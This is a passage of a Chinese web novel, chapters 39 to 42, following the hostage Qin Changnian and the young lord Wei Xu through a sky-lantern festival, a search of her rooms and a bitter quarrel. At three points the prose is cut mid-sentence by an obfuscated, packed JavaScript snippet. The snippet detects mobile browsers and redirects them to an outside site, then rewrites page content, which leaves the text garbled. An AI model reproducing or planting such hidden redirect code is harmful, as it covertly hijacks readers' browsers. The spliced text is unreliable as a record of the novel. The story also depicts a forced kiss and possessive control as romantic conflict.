“看什么呢?”隗絮见她出神,开口问道。 “我见少主大人玉树临风、英俊潇洒,好生气派,没忍住多看了两眼。”秦常念不想被他看出心中的情绪,笑着一笔带过。 “一派胡言。”隗絮正色直言,耳根却悄悄地红了,递给秦常念一封牛皮纸包着的信。 秦常念疑惑地看向他。 “秦将军写的,看看吧。”隗絮将信塞到她手上。 知道你想家,但我也没有更好的办法。 39. 天灯 秦远坐在树下,月光透过树枝洒下来,留下斑驳的痕迹,将信纸照得半明半暗的。 “秦将军,我去取烛台来。” “不必。”秦远抬手压下,就着那月光写。夜雾茫茫,写过的字也看不清第二遍。 秦常念打开那张纸,晶莹的泪珠瞬间蓄满了眼眶,摇摇欲坠。 “常念,从小你就人小鬼大,最是有自己主意。父亲从前总想管着你,这不让做、那不让做,现在你长大了,强大到什么都可以自己做了,不要害怕,你早就独立的能力,只是在家待久了,出去住不习惯罢了,过些时日就好了。隗公子是个值得托付的,日后的路,就要你们自己看着走了。” “父亲……”秦常念的眼泪滴滴答答,落到信纸上,印出一个圆圈,缓缓地向外展。 隗絮看着只觉得心疼得紧,他几次想上前去,却都掐着虎口忍住了。他知道,有些关,是要自己过的。 秦常念哭了一阵,勉强镇静下来,手里紧紧捏着那封信。她抬起头来,正看见隗絮站在一旁,眉头皱在一起,很忧心的样子。 隗公子是个值得托付的,秦常念想起父亲信里的话,手摩挲着信的边角,犹豫了一下,站起身来,带着鼻音道:“我有东西给你看。” 隗絮不明所以,满脑子都是秦常念哭花的脸,跟着秦常念进了房间。 秦常念从枕头底下将行军记录拿出来,一转身,正好撞在隗絮身上。 隗絮一把扶住秦常念:“没事吧?” 秦常念摇了摇头,故作镇定地拿出行军记录:“这是我在……” 话还没说完,隗絮用指腹轻轻擦过秦常念的脸,声音沙哑道:“别哭了,嗯?” 秦常念自己都没有意识到,赶忙抬起手,用袖子擦:“眼泪什么时候又流出来了,我都没哭了。” 隗絮沉默地看着,只觉得胸膛里复杂的情绪在翻涌,他跨了一小步上前,紧紧抱住秦常念,把她塞在自己的肩头,轻轻地拍着:“嗯,我知道,是眼睛还没反应过来,再缓一缓。” 他知道秦常念不喜欢展现出自己脆弱的一面,特意不去看她,让她可以处理自己的情绪。 秦常念趴在这久违的肩头,温暖如旧。眼泪禁不住流得更多了,一开始只是零星落下几滴,现在变成了涓涓细流,从她的眼角落到他的肩窝。 秦常念紧紧地闭上了眼睛,回抱住隗絮。隗絮,我从来都是百分百地相信你。 秦常念擦去眼泪,稍稍和隗絮拉开点距离,将那本书拿出来:“这是我在藏书阁里偷偷拿出来的,上面有关于我母亲守城之战的记录,颇为蹊跷,你能帮我查一下这本书是谁带来北凉的吗,我母亲的死也许另有隐情。” 隗絮却不伸手去接,露出一脸为难的样子,深深叹了口气。 “怎么了,是不方便吗?”秦常念也清楚,他作为北凉少主,调查大齐往事,并不是他的职责。 “不是。”隗絮揉了一下秦常念毛茸茸的脑袋,“这本书可能是我父亲带来的。当初我父亲被人构陷,惹圣上猜忌,认为我们家暗中支援荆州叛军,要将我们满门抄斩。幸得父亲平日里为官清廉、做人正直,一路上得到许多人的帮助,圣上又念在和隗家的旧情上,觉得若是我们肯离开大齐,便放我们一条生路,我们家才得以逃到北凉来。” “彼时,北凉的赤狄人还是以群落为单位居住,多次偷袭大齐后被大齐反击,受到重创。父亲将他们统合起来,建立了北凉。所以,北凉有许多秘史、资料都是父亲那时候带出来的。怕是查也查不出来什么。”隗絮最后一句话说得很小声,头也渐渐地垂了下去。为什么他总帮不到她。 “是这样啊。”秦常念听完了,点了点头,意料之外的冷静。不是她的内心真的有多平静,而是今日经历的情感起伏已然太多,眼泪都哭干了。现在对什么事情都是麻木。 “但我会派人去打听一下,看看有没有人知道当年的状况。”隗絮说道,他不忍心让秦常念太失望。 秦常念知道他是在安慰自己,挤出一个微笑:“嗯。” “三日后是北凉的天灯节,我带你去看吧。”隗絮提议道。 “我和你一起出宫,怕是太显眼了吧。”秦常念有些担忧。 “不怕,我们秘密出宫,不会暴露身份的。” 三日后,苒儿兴高采烈地捧出来一条圆领锦缎长褂,上面缀有松石点缀,用料扎实,美观实用,是北凉今年最热的款式:“小姐,您还没穿过北凉的长褂吧,这是少主送来的,说是给您今日看天灯准备的。”说罢,便帮秦常念换上了衣服。 “小姐真是人好看,穿什么都好看!”苒儿看着秦常念,打从心底里感叹。 秦常念本就生的白皙,面若桃花,但五官大气,并不给人瘦削之感。穿上北凉的服饰后,平添一丝飒爽,更衬得风姿绰约。 隗絮在承韵宫侧门等着,不远处看见秦常念搭着苒儿的手走出来,聘聘婷婷,一时间看呆了。 “走吧。”秦常念走到隗絮身边,隗絮扶着她上了马车。 直到坐到马车上,隗絮都久久没有回过神来,一直望着秦常念出神。 “看什么呢。”秦常念觉得有些不好意思,虚捂住脸往旁边躲。 “看我娘子。” 秦常念一惊,慌忙四围望了一圈:“你乱说什么呢,小心被别人听见。” “本来就是。”隗絮笑着说道,“今日我们就是一对最寻常的小夫妻,去天灯节凑凑热闹的。你看,我的衣服都同你的搭配好了。” 秦常念看着隗絮蓝底金边的大襟式长袍,果然与自己身上的是一对,更加不好意思地扭过头去。 隗絮却颇有些得寸进尺的架势,坐过来一些,然后很霸道地搂住秦常念,吓得秦常念又是一句惊呼。 “娘子。”隗絮又凑近秦常念一点,两人的鼻尖几乎都要碰上。 “你,你,你作甚。”秦常念僵在原地,一动也不敢动。这个姿势,怎么感觉危险得很。 隗絮捏住秦常念的下巴,又是引来一阵颤栗,他笑道:“娘子这般拘谨,不提前演练一下,怎么能行呢。” “需,需,需要,这般,如此,演练吗?”秦常念说话都结巴了起来,只觉得自己脸上烧得慌,都不敢抬起头来和隗絮对视。 “娘子,怎地连自己夫君都不敢看啊。”隗絮又靠近一点。 “看,看,看。”秦常念觉得他的唇几乎碰到了自己的嘴角,只觉得一阵电流穿过皮肤,下意识跟着他的话抬起头。 抬头的动作太突然,秦常念平日里又大大咧咧的,动作幅度大,隗絮来不及躲,这一下,就结结实实地印在隗絮的唇上。 “唔……”秦常念觉得自己本来还能挣扎一下的脑袋彻底昏厥,整个人轻飘飘的,像是坠入一片虚无,所有的感官都消失了,只剩下唇瓣上的触觉。暖暖的。 秦常念这一贴,隗絮也慌了神,甚至于秦常念的牙齿磕在他的嘴唇上,他都只是睁大了眼睛,不知道该做何反应。好甜,这是隗絮的第一反应。 “公子、小姐,到了。”苒儿在马车外说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136786|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦常念如梦初醒,立刻和隗絮分开,不知所措地站起来,又看了看隗絮,手忙脚乱的。 “投怀送抱啊,娘子真是主动。”隗絮撩拨道。他其实也还没缓过来,但却死撑自己的沉稳,不敢承认自己乱了分寸。他的嘴是浑身上下最硬的。 此刻也许不是。 “小姐?”苒儿见马车里没动静,以为秦常念没听到,又喊了一句。 “噢,来了。”秦常念觉得在马车里待久了,更显得奇怪,掀开帘子下了马车。 “诶,怎么是小姐先下来?”苒儿扶住秦常念问道。少主一向是彬彬有礼、注重细节,怎么不先下来扶小姐。就你这样,怎么能追得到小姐。苒儿在心里默默地恨铁不成钢。要知道,她可是小姐做少主夫人的头号支持者。小姐个性洒脱,少主蓝田生玉,可谓是天造地设的绝配一对啊。 “谁先下来都一样。”秦常念整个人红彤彤的,也不等隗絮,快步向前走去。 天灯节是北凉最盛大的节日,天上一个个彩色的天灯,是百姓用来祈福消灾的。他们单纯地相信,天灯在飞上高空的同时,也能将他们的愿望带去天神身边,天神便能听得更清楚。 “哇,小姐,你看,好美啊。”苒儿跟在秦常念身边,禁不住感叹道。 数百只天灯腾空,将黑夜都照得星稀点点。 “听说北凉年年都有,你倒是还没看腻。”秦常念笑了一下。 “我没看过。”苒儿望着天空陶醉,“托小姐的福,奴婢第一次看见天灯。” 秦常念看着眼前这个比自己还小一些的女孩,作为丫鬟,她永无翻身之日,毕生的职责是服侍像她这样的小姐,永远低人一等,没有玩乐、没有童年、没有自我。但她的话语中,秦常念听不出一点自暴自弃,甚至还听出了一点高兴。 能跟着秦常念一起出来逛街,她真的开心。 秦常念顿了顿,从怀里掏出一块银锭给苒儿:“去买盏天灯放吧。” “小姐喜欢什么样式的?”北凉的天灯,花样繁多,有四面的,有八面的,有纯色的,有拼接的。 “买一盏你喜欢的就好。” “啊?小姐这是何意?”苒儿不解。 秦常念看着她困惑的样子,觉得可爱,笑着说道:“我是说买一盏给你自己。不是说在天灯上写上愿望的话,就会实现嘛。” 秦常念知道各人有各人的命运,她也帮不了苒儿什么。只能给苒儿买个天灯,起码今日她能开心呢。 苒儿感动得眼泪都要流出来了:“小姐,你人太好了。” “好啦好啦,不会这么点小事就要痛哭流涕吧,你这么好骗,很容易被坏男人拐跑的。”秦常念点了一下苒儿的额心,催促道,“快去吧。” “我才不会被什么男人拐跑,我就是要跟在小姐身边。”苒儿凑到秦常念的身边,抓着她的胳膊晃来晃去地撒娇。这些时日,和秦常念熟络起来,她发现秦小姐性子大方、为人善良,全无小姐架子,也敢开点玩笑了。苒儿小声说道,“我看被拐跑的是小姐吧。” 秦常念作势就要敲她的头,苒儿拿着银锭跑开:“小姐,我放天灯去啦!一会见!” “真是的,什么话都敢往外讲。”秦常念笑着摇摇头。 “哎呀!”一个栗子打在秦常念头上,秦常念毫无防备,惊呼一声。转过身看到隗絮还没来得及收回的手。 “你干嘛呀?” 隗絮少年得意地甩了一下头发,从身后拿出一盏皱皱巴巴的天灯:“顺手买的,娘子也放一盏啊。” 40. 祝福 隗絮不由分说地将天灯塞到秦常念手里。那些商家卖的天灯各个色泽华丽、造型精美,而手上这一盏却不同,甚至可以称得上“幼稚”。 秦常念低下头看,这个天灯的骨架由竹篾编成,大体上有个形,但细看衔接处是歪歪斜斜的,有几个转角的地方一看就是预留的位置不够,用蛮力拧过去做成的。外层宣纸四面八色,又红又绿。 “这盏灯……你在哪买的啊。”秦常念想,多半是商户看隗絮穿得金枝玉叶的,以为是个人傻钱多的主,随便给他一盏残次品糊弄他。 她提着天灯,就想回去找商家算账,不带你们这么欺负我夫君的啊。 “这你就别管了,好看就行,颜色是我亲自挑的呢。”隗絮的语气难掩兴奋。 其实何止亲自挑了颜色,整个天灯,从头到尾都是他亲手做的。从他邀请秦常念来天灯节的那一天起,就请了师傅日日来教,可他实在没什么做手工的天赋,十个手指都磨破了,才在失败了十几个天灯后,勉强做出一盏能看的。 做好的那天,他兴致勃勃地拿给剪书看,剪书嘴上说着“不愧是少主大人,聪明绝顶”,心里想着,若是秦小姐对着这个天灯也能夸得出口,那可真是偏爱了。 秦常念拿着天灯,面露难色。眼神在隗絮和天灯之间流转,好端端一个北斗之尊的少主,怎么年纪轻轻就看朱成碧、两眼昏花。 隗絮看着她脸上红一阵、白一阵,表情十分丰富,问道:“怎么,你不喜欢?” “怎么会……不喜欢呢,这设计別具匠心,颜色包罗万象,是一睹难得的好东西。”秦常念不忍心打击他,迅速转移了话题,“那我们来放吧。” “等一下,娘子还没在上面写上愿望呢。”隗絮往侧面一瞟,手一伸,剪书立刻递上一支毛笔。 隗絮又把这支毛笔递给秦常念。 秦常念接过来,几次提笔又都停下,最后决定先将笔放下,然后四下张望。 “找什么呢?” “不知道该写什么,参考一下其他人的。”秦常念很坦诚地答道。 隗絮哭笑不得:“这愿望都是可以参考的吗?你真是跟那些学堂里,抄人作业的孩童一样。” 秦常念撅了一下嘴:“那可就要怪夫君没有倾囊相授了。” “啊?”隗絮没想到秦常念会说这样的话,愣了一下,“你说什么?” 秦常念笑而不答,只是用手肘顶了顶他:“你看前面的那两位姑娘,是交换着给彼此写祝福呢。” 前面站着两位姑娘,各拿了一支笔,嬉笑着。 “我替你许的愿望,你保准喜欢。”一个姑娘自信地落笔,洋洋洒洒地写下“早日找到如意郎君”。 另一个姑娘笑着推了她一把:“你又乱编排我!” “单丝不线,我这是为了你好!” “好,那我也为你写一句!”天灯上赫然出现“发家致富,金玉满堂”八个大字。 “这个写得好,这个我喜欢!希望我们的愿望都能成真!” 两个姑娘掌根并紧,诚恳地看着天灯升空。 隗絮侧过头来,看见秦常念若有所思的样子,以为她很羡慕,提议道:“不如我们也……” 话还没说完,就被秦常念打断:“无亲无故的两个人怎么可能心甘情愿地对方祈福,他们只是现在站在利益的共同边,顺便一起演一场闺中密友的戏罢了。若是现在告诉她们,一盏灯只能实现一个愿望,你瞧她们要不要为了这个打起来。” “天底下没有永远的朋友,统一的利益和目标才是牢固感情的基石。”秦常念语气很平静地说道。 隗絮,我和你终有一天会是陌路人。这不由你,也不由我。 “莫要再讲了。”隗絮出声制止了秦常念,抓着她的手在天灯上写下愿望——凤凰于飞,举案齐眉。 秦常念在写到第三个字的时候,就看出了隗絮的意图,她剧烈地挣扎,又是推、又是撞,不肯继续写。但隗絮很坚持,他用力握住秦常念的手,一笔一划地把字写完。 秦常念的反抗让字变得有些歪斜、一些笔划看不清楚,但也仅此而已。 隗絮终于肯松手,秦常念揉着自己的手腕,怒气冲冲:“你干什么!” 这一嗓子,引得周围许多人侧目。 隗絮轻笑了一下:“娘子不是不知道该写什么嘛,我帮帮你。” 旁人一看,原来是夫妻之间拌嘴。别人的家务事,便也不再关注。 “可这不是我要的!” “那你想要什么?”隗絮反问道,但他没给秦常念时间回答,就自顾自地说道,“可我不在乎了。” 你想要的究竟是什么,我已经不在乎了,因为我太清楚你想要的。 但我不可能同意。 秦常念看着隗絮,表情从愤怒,走到诧异,经过悲伤,最后停留在麻木。她从牙缝里挤出几个字:“随便你。” 隗絮掏出火折子准备点灯,秦常念却也看不看,转头就走。 “剪书,跟着。” “是。” 隗絮仍然站在原地,他故意不去看秦常念抛开的背影,引燃天灯底部的寿金纸。金灿灿代表着福禄的纸燃烧起来,照亮了整个天灯。 热气催着天灯升空,隗絮站在底下看着,也双手合十,虔诚地和神明对话。听说天灯很灵,希望我们的愿望能实现。 少年的身影在热闹的人群中显得落寞,没人知道,从无声默念的“唯愿阿念,得偿所愿”,到强人所难的“凤凰于飞,举案齐眉”,少年的心里经过了怎样的动荡,又能不能够重归于平静。 剪书一路跟着秦常念。秦常念其实也不知道该往哪走,只是闭着眼睛闷头向前,直到出了这条街,走到一处僻静之处,秦常念才转过头来:“你跟着我做什么!”疾言厉色、愤愤不平,把剪书吓得一激灵。 “是少主吩咐我跟着小姐的。” “闭嘴!整天少主东,少主西的,你们不累吗?我现在算是看出来了,这个隗絮就是个疯子!我当初在将军府的时候,就不该跟他有种种过往。是我当初没选对人,现在自食恶果。早知今日,我当初一定跟他保持距离,各行其是!说来说去,还是怪我自己,我非要和他搅到一起去干什么!”秦常念连珠炮似的说了一大堆。 说得剪书脑袋都跟不上,不知道如何回话,只记得她好像叫他闭嘴,便站在一旁不说话。 秦常念讲了一大段,讲得气喘,终于才肯停下来。她目光一转,看见剪书杵在那里不说话,又问道:“你在听我讲话吗,怎么一点反应也没有!” 剪书眼珠子都要气得掉下来,他可太冤枉了,明明是她自己刚刚叫他闭嘴的,现在又要怪他没反应。 “小姐,我……” “算了,隗絮身边的人和他都是一丘之貉,一样奇怪!”秦常念仍在气头上,丢下一句话,就继续往前走。 ???大小姐,你到底是要我说呢,还是不要我说呢。 剪书心里不满,但还是只能跟着秦常念。一边在心里质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152170|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑隗絮,少主这什么眼光,选来选去选了个性格脾气都一等一古怪的大小姐,这要是娶回家去,估计连家里的牛都没得休息,喘一口气都要被她骂。 “早知道我就不要来放什么天灯,万一很灵,把隗絮写的那个愿望实现了,我怎么回家!”秦常念边在心里骂人,边往前走,忽然撞在了锦绣长袍上。 “不好意思,我没看清路,不是有意撞你的。”秦常念嘴上道着歉,心思却也不在这上面,就要继续往前走。 那人忽然揪住秦常念的衣领:“跑哪去?” 这声音……秦常念抬起头,就看见阴魂不散的隗絮。 “你管我去哪里,总之我不想跟你一起,行不行。”秦常念没什么好脸色给他。 “不行,回宫。”隗絮拒绝地很干脆。 “我不!”秦常念将他揪着自己的手推开,“我不回去!” 隗絮也不跟她争执,一手捉住她,用力往上一翻,就将她扛在肩上,想了想还是解释上一句:“承韵宫出事了。” “给我搜!”隗子舟高举贤王的令牌,带了一众人马来承韵宫,“我就不信那女人有通天的本事,她有想法,就一定会留下痕迹。” “是。”一众仆从鱼贯而入,在承韵宫内散开,在每个房间内搜查。 “武凛,给我盯仔细了。” “是。”武凛抱手行李。 秦常念被隗絮像扔麻袋一样整个扔上马车,她一爬起来坐好,就开始念念叨叨,:“承韵宫出事了?出什么事了,出什么事都是你活该!你这样对我,老天都看不下去了!” “我怎么样对你?”隗絮坐在她旁边,掀开帘子,比了个手势,马车就开始往承韵宫疾驰。 “搞清楚你我的身份地位,我是少主,不是数月前那个处处遭人掣肘的质子了。现在是我说了算。” “你说了算?”秦常念冷笑一声,“现在承韵宫都出事了,敢在你眼皮子底下动手的人,他还当你是少主吗?” 隗絮看了秦常念一眼:“听说隗子舟受父王命令,带着一众人去承韵宫帮你搬东西。昭玉宫收拾出来了,父王要你搬过去。” “搬过去就搬过去,难道我愿跟你多待?”秦常念不以为然,却又猛然打了个寒战,去帮我搬东西,那我的书怎么办。要是被人发现我房里有藏书阁的书,哪里说得清楚。 隗絮见她的表情,便知道她想起来了,语气很淡定道:“所以我们才要赶紧回去。不过你也不用太担心,隗子舟不是我的对手。” 秦常念满心都在担忧自己的那本书,该怎么办呢,要是被查出来了,实在没办法,就说是隗絮给她的?可那书也不是寻常的闲书,是本行军日志,在北凉偷偷看这种书,就真的是居心叵测。 秦常念觉得想得脑袋发晕,她掀开帘子的一角呼吸新鲜空气,发觉已经进了宫城。 刚刚出宫的时候,没太注意走的路线,此刻秦常念却觉得有些不对劲:“我们走的是哪个门?” “南门。”隗絮答道,“一般进出都走这个门。” “你问这个干嘛?我劝你收一收你那逃跑的心思,就算你能从王宫侥幸跑出去,你能活着穿过层层把守的边境吗,怕是没走两步,就被岗哨值班的侍卫一箭射杀了。”隗絮一边说,一边做了个射箭的动作。 秦常念没回答,心生疑惑。上次隗子舟分明说的是南门用于运送军械物资,平日里不走,可隗絮却说这是常走的门。 莫不是隗子舟在骗她?那他的话,便全都不可信? 41. 夫人 一回到承韵宫,秦常念便急急忙忙从马车上下来,果然看见许多人在自己房间进进出出,当下顾不得许多,冲过去拦在房间门口:“放肆!本小姐的房间也是随便什么人都能闯的!” “秦小姐。”武凛走上前来行了个礼,“贤王殿下怕小姐住在承韵宫不方便,特意命人收拾出昭玉宫给小姐住,卑职也是奉命行事,还望小姐莫怪。” “我的东西我自会收拾,何须你们帮我。”秦常念眼神凌厉,“不由分说就进我的屋子,你们到底是来帮我搬东西,还是来搜查我的!真当我堂堂镇北将军府大小姐,是来你们北凉当犯人的吗!” 这一吼,吓得众人都停下手里的动作,虽说秦常念是来做质子的,但北凉也是想借她缓和与大齐的关系,绝对不想节外生枝,和秦远结下梁子。 到时候若真触怒了秦远,贤王为了维持面上的平衡,把他们都杀了,也是有可能的。 毕竟牺牲几个侍从,推脱自己的狼子野心,在政治棋局上,实在是微不足道。 秦常念看见他们都不敢再动,心中的包袱松了一点,但面上仍然维持着凶狠的样子,她知道,只有这样,他们才不敢随意摆布她。 “姐姐?!”隗子舟从不远处走过来,径直走到秦常念的身边,“你生气啦?” 秦常念瞟了一眼身后的那些人,不说话。 隗子舟顺着她的视线看过去,立马道:“诶诶诶,你们几个怎么回事!有没有把我说的话放在眼里,我都说过了,姐姐不喜欢别人动她东西,姐姐房里不要收拾,就放到那里,等姐姐自己来整理。你们每个人打三十大板!” “不必了。”秦常念出声道,她不想把无辜的人牵扯进来。更何况,她现在怀疑隗子舟说的话,到底几句是真,几句是假。 “也不是什么大事,余下的我自己收拾就行。”秦常念边观察隗子舟,边说道。 “姐姐,那我帮你吧。”隗子舟说着就要进秦常念的房间。 “慢着!”隗絮走过来,将秦常念往身后一拉,挡在他们两人中间。 “隗子舟看了一眼隗絮张开挡住秦常念的手臂,笑着说道:“哥哥这是吃醋啦?那我不进去便是。”又歪斜一点身子,透过隗絮看向秦常念,“姐姐,那你喊哥哥帮你吧,我就不进去了。” “她不搬。”隗絮向右边移一点,彻底挡住秦常念。 隗子舟一时没有反应过来,仍然站在原地没动。 “我说,她不搬。”隗絮皮笑肉不笑地看向隗子舟,“弟弟又不是不清楚我的性格。进了我承韵宫,无论是东西还是人,断没有再出去的道理。” 隗子舟没有再接话,探究地看着隗絮。 “承韵宫可是未来少主夫人要入住的宫宅,少主大人如此做,怕是不妥。”一个管礼教的嬷嬷站出来说道。 隗絮的视线从隗子舟身上移开,看向嬷嬷。 他的眼神带着十足的冷意,即便是已经在宫里过了大半辈子的嬷嬷,也不免心中一惊。但她奉的是贤王的令,在心里暗暗给自己打气后,继续说道:“少主贵为北凉储君,更应以身作则,遵循礼教,日后才好服众。” 这话一出,无疑是把隗絮架了起来。储君之位就像缰绳,能在王宫里束缚住大家的步伐。不管你再有野心、再有计谋,都会被这个词绑住。 首先要坐上储君之位,就得做出一副仁厚忠心的样子,得到君王的认可。 储君,储君,意在储。每一个储君,都想继承帝王之位。那么,不仅要拉拢朝中重臣、培植自己的势力,更重要的是谨言慎行,不给人落下把柄。 “难以服众”一词,十之八九都是倒加罪名。 少主之位,实在易攻难守。 众人纷纷将视线移向隗絮,他们都想看面对嬷嬷的拷问,少主如何应对。 隗絮笑了一下:“嬷嬷说的是,我应该以身作则。” 嬷嬷听到这里,满意地点了一下头,脊梁骨挺得更直了些,她也算是在众人面前又立了一次威。 可隗絮紧接着说的话,让她面色铁青。 “她就是。”隗絮一边说道,一边走到秦常念的身边,“秦大小姐就是未来的少主夫人,有问题吗?” 秦常念惊讶地抖了一下,她想隗絮会不会是弄错了。抬起头来,看见隗絮目光灼灼地望着自己,吓得又把视线错开。 隗子舟看到这一幕,单侧眉毛挑了一下。 “可是……”嬷嬷还想说些什么,被隗絮不怒而自威的眼神压了下去。 “秦大小姐为镇北将军秦远的独女,高门大户、麟子凤雏,这少主夫人之位是配得上她的。二来,也可展现我们北凉的诚意,和大齐结为秦晋之好,也不必再互相敌对。”隗絮严肃地说道。 “少主大人英明。”众人一听,皆跪下道。 隗子舟却忽然开了口:“若是与大齐政治联姻,理当是娶大齐皇室公主,哪里有娶当权将军女儿的。皇上若是怀疑我们与大齐将军勾结,监守自盗、竹柏异心,那北凉哪里还有好日子过。” 隗絮瞪了过去,隗子舟立马换成一幅嬉皮笑脸的样子:“我的意思是,哥哥就承认你想娶姐姐是因为喜欢姐姐,对姐姐一往而情深,何故寻这些蹩脚的油头。再说了,女孩子都喜欢听纯粹的告白,是不是啊,姐姐。” “隗子舟!”隗絮呵住他。 “好好好,我走了,我走了。”隗子舟摆着手,示意众人推下,晃着宽袖大摇大摆地往外走,还装模作样地教训下人们,“要给哥哥姐姐们留点空间嘛。” 他们一走,秦常念立刻跑回房间,往枕头下一摸,却吓了一跳,书不见了。她立刻将枕头拿开来,底下果真空空如也。她双手张开,在床的各处仔细寻着,都不见踪影。 秦常念余光看到隗絮走了进来,一边找书,一边说道:“我那本书好像被他们搜出来了,怎么办。要不我去问问逸侯,人毕竟是他带来的,他一定有办法。”说着,就要起身。 “什么怎么办。”隗絮单手抓住秦常念的两个腕子,用力一推,将秦常念推回床上,“少主夫人翻一本藏书阁的书,难道都不行吗?” “我知那只是你今日的权宜之计,你想把我放在身边,亲自看着我。我不会当真的。” “若我说不是呢。” 秦常念顿了顿,看着隗絮认真地说道:“我不会嫁与你做少主夫人的,你心里明白。”一边说一边挣脱了隗絮的手,起身离开。 “我不明白!”隗絮随手抓了个杯盏扔过去,打在门边,将门关上。 杯盏碎在秦常念面前,秦常念停住了脚步,转回头来看。 隗絮已经走到了她的跟前,高大的身影将她笼罩住,低下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176661|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,颇带压迫感地说道:“你跟隗子舟倒是感情颇好,不仅私下幽会,你们还要患难与共啊。出了问题,你第一个想找的人,就是他吗?怎么,你不嫁给我,是想嫁给他?”隗絮捏住秦常念的下巴。 “你派人跟踪我?你知道,你为什么不说?”秦常念觉得难以置信。 “是啊,你在北凉的一举一动、一言一行,说了什么、见过谁,我都知道。所以,别在我面前耍花招,被再想跑。说?”隗絮勾起一边嘴角,“说什么,我为何要跟你说。” 秦常念自嘲地笑了一下,是啊,她早该想到,她来北凉就是做质子的,她居然妄图在她和隗絮之间寻一份公平,留一份尊严,简直是痴人说梦。 “那我嫁与何人也与少主大人无关。”秦常念回敬回去,双手拼命推隗絮的手腕。 原来你真的爱上了隗子舟。秦常念的回答,听到隗絮耳朵里,就是一种默认。 他手上的力气又加了几分,捏住秦常念的下巴就吻了上去。 “唔……不要!不要!”秦常念用力地推他,拉扯之中咬破了隗絮的嘴角,一股铁锈腥气在唇间蔓延开。 隗絮停下了动作,退后一些,和秦常念拉开点距离。 秦常念一个巴掌就扇在了隗絮的脸上,用了十足的力气。 隗絮的脸上立刻出现一个红肿的巴掌印。 “我不是你承韵宫的物品,不是你想怎样就怎样的。你凭什么决定我的人生!” “你现在是为了隗子舟,在和我生气吗?” “我为了我自己!我喜欢谁、要嫁谁、住在哪,都与你无关!你为什么一而再再而三地强迫我!”秦常念用了全身的力量再次去推隗絮,隗絮这一次却好似脱力一般,被她退出去好远。 “隗子舟是个不可信的!我跟你说过多少次!”隗絮再次说道,脖子上的青筋暴起。 “你的话我就能信吗!”秦常念大吼道,胸脯随着说话的节奏起起伏伏,难以平静。 此话一出,隗絮竟不知该如何回答。屋子里忽然间安静下来,只有粗重的呼吸声,像是山雨欲来前的骇人平静。 秦常念深吸了一口气道:“隗絮,你根本不爱我吧。” 不爱和不会爱之间的边界很模糊,难以分辨。 隗絮沉默了一会,反问道:“你为什么这么说。” “因为我在你的爱里感到痛苦。但是爱,应该是会让人更幸福的。”秦常念得到了一个关于爱的悖论,所以她反推回去,证明假设不成立。 隗絮不爱她。 “那你呢,你爱我吗?”隗絮的声音明显小下去几分,问道。 “少主大人问这个问题有意义吗。”秦常念抬起头来,和隗絮对视,他眼睛里是她读不懂的复杂,疑惑、不解、懊悔、恼怒,好像所有的颜料都混在同一个池子里,将池子染浑。 “我要休息了,还请少主大人出去。” 隗絮怔在原地没动,秦常念跨过碎掉的茶盏,将门打开,做了个请的动作,却一个眼神也没给到隗絮。 隗絮仍然盯着秦常念,秦常念感觉到左侧有一道灼热的视线打过来,仿佛要将自己烤焦,强撑着仍没回头,淡淡地又重复了一遍:“我要休息了,还请少主大人出去。” 隗絮将视线收回,微不可见地点了一下头,然后颓然地走了出去。 42. 碎了 隗絮回到房间后,将外衣脱掉,腰间“咔擦”一声掉出来什么东西。隗絮低下头去看,发现是那把木剑。 曾经拼尽全力,掰也掰不断的木剑死无全尸,摔在地上,变成两截。 何时碎的呢,隗絮不知道。是在房间里争吵,秦常念推他的时候撞在桌角的就已经碎了;还是刚刚掉在地上才宣告生命的结束。 死去的木剑也无法回答。最残酷的毁灭,回过头来看,往往是说不清楚原因的。 荒谬无理的退场,是戏台上很多角色的结局。亦说不清是作者的设计,为了搅动看客的感情;还是角色生出的生命,将他们推到这个结局。 隗絮想起从前在江南看过的一场皮影戏,具体的故事已然记不清,只记得大概是个悲剧,讲的是一位修仙者和一只妖之间刻骨铭心的爱情,;两人克服重重磨难,终于走到一起,就在观众以为两人可以长厢厮守、白头偕老的时候,那修仙者死了,转世后,便什么也不记得了。从前的他就此退场。 隗絮问过那演皮影戏的老翁:“为什么要给他们安排如此凄惨的命运?” 老翁摸了摸小男孩的头说:“我原也是想给他们一个美好的结局,可他们有他们的生命,做出的选择不由我说了算啊。” 隗絮捡起地上的剑,放弃了把它们拼回去的念头,低着头说道:“这也是你做出的选择吗?” 秦常念,这也是我们做出的选择吗。 秦常念蹲在地下,抱着膝盖看碎了一地的茶盏。 “小姐。”苒儿敲了门进来,“茶盏打碎了吗?” “嗯,打碎了。”秦常念把头埋在膝盖里闷闷地说道。 苒儿赶紧过来扶起秦常念:“小姐可有受伤?” 